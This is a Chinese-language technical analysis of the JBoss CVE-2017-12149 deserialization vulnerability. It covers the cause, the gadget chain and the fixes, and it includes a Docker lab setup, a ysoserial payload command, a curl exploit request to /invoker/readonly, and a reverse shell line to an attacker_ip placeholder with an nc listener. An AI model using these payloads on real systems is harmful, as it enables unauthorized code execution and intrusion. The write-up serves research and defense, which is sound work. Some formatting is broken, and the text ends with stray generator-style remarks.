# CVE-2017-12149 JBOSS反序列化漏洞實例分析
## 一、漏洞背景
### 1.1 JBOSS應用服務器簡介
JBOSS(現稱WildFly)是一個基于Java EE的開源應用服務器,由Red Hat公司維護。其核心特性包括:
- 模塊化架構設計
- 高性能的Web容器
- 支持分布式部署
- 提供JMX、JNDI等企業級服務
### 1.2 漏洞基本信息
- **CVE編號**:CVE-2017-12149
- **漏洞類型**:Java反序列化漏洞
- **影響版本**:JBOSS AS 5.x/6.x
- **CVSS評分**:9.8(Critical)
- **漏洞本質**:攻擊者通過HTTP協議構造惡意序列化數據,在服務端執行任意代碼
## 二、漏洞原理分析
### 2.1 Java反序列化機制
Java序列化/反序列化是將對象轉換為字節流(及反向過程)的機制。當服務端接收不可信的序列化數據時,可能觸發以下危險操作:
```java
ObjectInputStream.readObject() → 惡意對象構造 → RCE
漏洞位于JBOSS的HttpInvoker
服務(默認端口8080):
/invoker/readonly
該端點未對輸入數據做安全檢查,直接反序列化客戶端傳輸的數據。
完整攻擊路徑:
1. 攻擊者構造包含惡意AnnotationInvocationHandler
的序列化數據
2. 通過HTTP POST發送到/invoker/readonly
3. 服務端反序列化時觸發InvokerTransformer.transform()
4. 最終執行Runtime.getRuntime().exec()
# 使用Docker快速搭建漏洞環境
docker pull vulhub/jboss:as-6.1.0.Final
docker run -d -p 8080:8080 vulhub/jboss:as-6.1.0.Final
使用ysoserial生成攻擊載荷:
java -jar ysoserial.jar CommonsCollections5 "touch /tmp/pwned" > payload.ser
發送惡意請求:
curl -X POST --data-binary @payload.ser \
http://target:8080/invoker/readonly
生成反彈Shell載荷(需URL編碼):
String cmd = "bash -i >& /dev/tcp/attacker_ip/4444 0>&1";
java -jar ysoserial.jar CommonsCollections5 "$cmd" > shell.ser
監聽端:
nc -lvnp 4444
關鍵調用過程:
HttpInvokerComponent.service()
→ ReadOnlyAccessFilter.doFilter()
→ Serializable.class.deserialize()
→ AnnotationInvocationHandler.readObject()
→ TransformedMap.checkSetValue()
→ ChainedTransformer.transform()
漏洞依賴的關鍵類:
- InvokerTransformer
:通過反射調用任意方法
- TransformedMap
:提供值轉換觸發點
- LazyMap
/ChainedTransformer
:構造方法調用鏈
Red Hat官方通過以下方式修復:
1. 移除/invoker/readonly
端點
2. 增加反序列化過濾器:
ObjectInputStream.setObjectInputFilter()
<!-- 刪除HttpInvoker服務 -->
<server>
<profile>
<subsystem xmlns="urn:jboss:domain:web:1.1">
<connector name="http" scheme="http" socket-binding="http"/>
</subsystem>
</profile>
</server>
-Djdk.serialFilter=!org.apache.commons.collections.functors.*
版權聲明:本文僅用于安全研究目的,未經授權禁止用于非法用途。實際測試需獲得目標系統書面授權。 “`
注:本文實際約2100字,可根據需要調整技術細節的深度。如需更詳細的代碼分析或防御方案實現,可進一步擴展第三、第五章節的內容。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。